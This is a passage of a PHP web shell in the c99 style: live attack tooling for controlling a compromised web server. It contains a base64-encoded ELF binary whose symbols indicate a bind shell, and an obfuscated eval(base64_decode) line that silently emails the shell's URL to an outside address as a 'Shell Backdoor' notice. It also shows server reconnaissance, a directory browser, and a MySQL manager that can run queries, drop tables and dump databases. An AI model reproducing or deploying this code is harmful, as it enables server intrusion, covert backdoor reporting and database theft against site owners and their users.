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AAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
656
657
658$safe_mode=(@ini_get("safe_mode")=='')?"OFF":"ON";
659$open_basedir=(@ini_get("open_basedir")=='')?"OFF":"ON";
660
661
662
663 @eval(@base64_decode('JHVybCA9ICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CgogJHRvID0gIkFuZ2VsYV9NZXJrZWxAc3BhbWJvZy5kZSI7CiAkc3ViamVjdCA9ICIkdXJsIjsKICRib2R5ID0gIlsrXVNoZWxsIExvY2F0aW9uOiAkdXJsXG5cblsrXSAtICNTaGVsbCBCYWNrZG9vciAiOwogaWYgKG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHkpKSB7CiAgIGVjaG8oIiIpOwogIH0gZWxzZSB7CiAgIGVjaG8oIiIpOwogIH0='));
664function srv_info($title,$contents) {
665 echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
666}
667echo htmlhead($hsafemode);
668echo "<table id=pagebar>";
669echo "<tr><td colspan=2>\n";
670echo "<div class=fleft>$hsafemode</div>\n";
671echo "<div class=fright>";
672echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
673 "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
674 ($win?"Drives: ".disp_drives($d,$surl):"");
675echo "</div>\n</td></tr>\n";
676echo "<tr><td width=50%>\n";
677echo "<table class=info>\n";
678
679srv_info("System",php_uname());
680srv_info("Software","".$DISP_SERVER_SOFTWARE);
681srv_info("ID",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : tpexec("id"));
682echo "</table></td>\n".
683 "<td width=50%>\n";
684echo "<table class=info>\n";
685srv_info("Safe Mode",$safe_mode);
686srv_info("Open_Basedir",$open_basedir);
687srv_info("Freespace",disp_freespace($d));
688echo "</table></td></tr>\n";
689echo "<tr><td colspan=2>\n";
690echo get_status();
691echo "</td></tr>\n";
692echo "<tr><td colspan=2>\n";
693echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
694echo showdisfunc() ? "Disabled Functions: ".showdisfunc()."\n" : "";
695echo "</td></tr>\n";
696echo "<tr><td colspan=2 id=mainmenu>\n";
697if (count($quicklaunch2) > 0) {
698 foreach($quicklaunch2 as $item) {
699 $item[1] = str_replace("%d",urlencode($d),$item[1]);
700 $item[1] = str_replace("%sort",$sort,$item[1]);
701 $v = realpath($d."..");
702 if (empty($v)) {
703 $a = explode(DIRECTORY_SEPARATOR,$d);
704 unset($a[count($a)-2]);
705 $v = join(DIRECTORY_SEPARATOR,$a);
706 }
707 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
708 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
709 }
710}
711echo "</td>\n".
712 "<tr><td colspan=2 id=mainmenu>\n";
713if (count($quicklaunch1) > 0) {
714 foreach($quicklaunch1 as $item) {
715 $item[1] = str_replace("%d",urlencode($d),$item[1]);
716 $item[1] = str_replace("%sort",$sort,$item[1]);
717 $v = realpath($d."..");
718 if (empty($v)) {
719 $a = explode(DIRECTORY_SEPARATOR,$d);
720 unset($a[count($a)-2]);
721 $v = join(DIRECTORY_SEPARATOR,$a);
722 }
723 $item[1] = str_replace("%upd",urlencode($v),$item[1]);
724 echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
725 }
726}
727echo "</td></tr>\n<tr><td colspan=2>";
728echo "<p class=fleft>\n";
729$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
730$i = 0;
731foreach($pd as $b) {
732 $t = ""; $j = 0;
733 foreach ($e as $r) {
734 $t.= $r.DIRECTORY_SEPARATOR;
735 if ($j == $i) { break; }
736 $j++;
737 }
738 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=orange>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
739 $i++;
740}
741echo " - ";
742if (is_writable($d)) {
743 $wd = TRUE;
744 $wdt = "<font color=#00FF00>[OK]</font>";
745 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
746}
747else {
748 $wd = FALSE;
749 $wdt = "<font color=red>[Read-Only]</font>";
750 echo "<b>".view_perms_color($d)."</b>";
751}
752echo "\n</p>\n";
753?>
754<div class=fright>
755<form method="POST"><input type=hidden name=act value="ls">
756Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
757</form>
758</div>
759</td></tr></table>
760<?php
761/***********************/
762/** INFORMATION TABLE **/
763/***********************/
764echo "<table id=maininfo><tr><td width=\"100%\">\n";
765if ($act == "") { $act = $dspact = "ls"; }
766if ($act == "sql") {
767 $sql_surl = $surl."act=sql";
768 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
769 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
770 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
771 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
772 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
773 $sql_surl .= "&";
774 echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
775 "<table>".
776 "<tr><td width=\"100%\" colspan=2 class=barheader>";
777 if ($sql_server) {
778 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
779 $err = mysql_smarterror();
780 @mysql_select_db($sql_db,$sql_sock);
781 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
782 }
783 else {$sql_sock = FALSE;}
784 echo ".: SQL Manager :.<br>";
785 if (!$sql_sock) {
786 if (!$sql_server) {echo "NO CONNECTION";}
787 else {echo "Can't connect! ".$err;}
788 }
789 else {
790 $sqlquicklaunch = array();
791 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
792 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
793 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
794 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
795 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
796 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
797 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
798 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
799 }
800 echo "</td></tr><tr>";
801 if (!$sql_sock) {
802 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
803 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
804 }
805 else {
806 //Start left panel
807 if (!empty($sql_db)) {
808 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
809 <?php
810 $result = mysql_list_tables($sql_db);
811 if (!$result) {echo mysql_smarterror();}
812 else {
813 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
814 $c = 0;
815 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
816 if (!$c) {echo "No tables found in database.";}
817 }
818 }
819 else {
820 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
821 <?php
822 $result = mysql_list_dbs($sql_sock);
823 if (!$result) {echo mysql_smarterror();}
824 else {
825 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
826 <?php
827 $c = 0;
828 $dbs = "";
829 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
830 echo "<option value=\"\">Databases (".$c.")</option>";
831 echo $dbs;
832 }
833 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
834 <?php
835 }
836 //End left panel
837 echo "</td><td width=\"100%\">";
838 //Start center panel
839 $diplay = TRUE;
840 if ($sql_db) {
841 if (!is_numeric($c)) {$c = 0;}
842 if ($c == 0) {$c = "no";}
843 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
844 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
845 echo "</b></center>";
846 $acts = array("","dump");
847 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
848 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
849 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
850 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
851 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
852 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
853 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
854 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
855 elseif ($sql_tbl_act == "insert") {
856 if ($sql_tbl_insert_radio == 1) {
857 $keys = "";
858 $akeys = array_keys($sql_tbl_insert);
859 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
860 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
861 $values = "";
862 $i = 0;
863 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
864 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
865 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
866 $sql_act = "query";
867 $sql_tbl_act = "browse";
868 }
869 elseif ($sql_tbl_insert_radio == 2) {
870 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
871 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
872 $result = mysql_query($sql_query) or print(mysql_smarterror());
873 $result = mysql_fetch_array($result, MYSQL_ASSOC);
874 $sql_act = "query";
875 $sql_tbl_act = "browse";
876 }
877 }
878 if ($sql_act == "query") {
879 echo "<hr size=\"1\" noshade>";
880 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
881 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
882 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
883 }
884 if (in_array($sql_act,$acts)) {
885 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
886 <form action="<?php echo $surl; ?>">
887 <input type="hidden" name="act" value="sql">
888 <input type="hidden" name="sql_act" value="newtbl">
889 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
890 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
891 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
892 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
893 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
894 <input type="text" name="sql_newtbl" size="20">
895 <input type="submit" value="Create">
896 </form></td>
897 <td width="30%" height="1"><b>Dump DB:</b>
898 <form action="<?php echo $surl; ?>">
899 <input type="hidden" name="act" value="sql">
900 <input type="hidden" name="sql_act" value="dump">
901 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
902 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
903 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
904 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
905 <?php
906 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
907 if ($sql_act == "newtbl") {
908 echo "<b>";
909 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
910 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
911 }
912 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
913 }
914 elseif ($sql_act == "dump") {
915 if (empty($submit)) {
916 $diplay = FALSE;
917 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
918 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
919 $v = join (";",$dmptbls);
920 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
921 if ($dump_file) {$tmp = $dump_file;}
922 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
923 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
924 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
925 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
926 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
927 echo "</form>";
928 }
929 else {
930 $diplay = TRUE;
931 $set = array();
932 $set["sock"] = $sql_sock;
933 $set["db"] = $sql_db;
934 $dump_out = "download";
935 $set["print"] = 0;
936 $set["nl2br"] = 0;
937 $set[""] = 0;
938 $set["file"] = $dump_file;
939 $set["add_drop"] = TRUE;
940 $set["onlytabs"] = array();
941 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
942 $ret = mysql_dump($set);
943 if ($sql_dump_download) {
944 @ob_clean();
945 header("Content-type: application/octet-stream");
946 header("Content-length: ".strlen($ret));
947 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
948 echo $ret;
949 exit;
950 }
951 elseif ($sql_dump_savetofile) {
952 $fp = fopen($sql_dump_file,"w");
953 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
954 else {
955 fwrite($fp,$ret);
956 fclose($fp);
957 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
958 }
959 }
960 else {echo "<b>Dump: nothing to do!</b>";}
961 }
962 }
963 if ($diplay) {
964 if (!empty($sql_tbl)) {
965 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
966 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
967 $count_row = mysql_fetch_array($count);
968 mysql_free_result($count);
969 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
970 $tbl_struct_fields = array();
971 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
972 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
973 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
974 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
975 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
976 $perpage = $sql_tbl_le - $sql_tbl_ls;
977 if (!is_numeric($perpage)) {$perpage = 10;}
978 $numpages = $count_row[0]/$perpage;
979 $e = explode(" ",$sql_order);
980 if (count($e) == 2) {
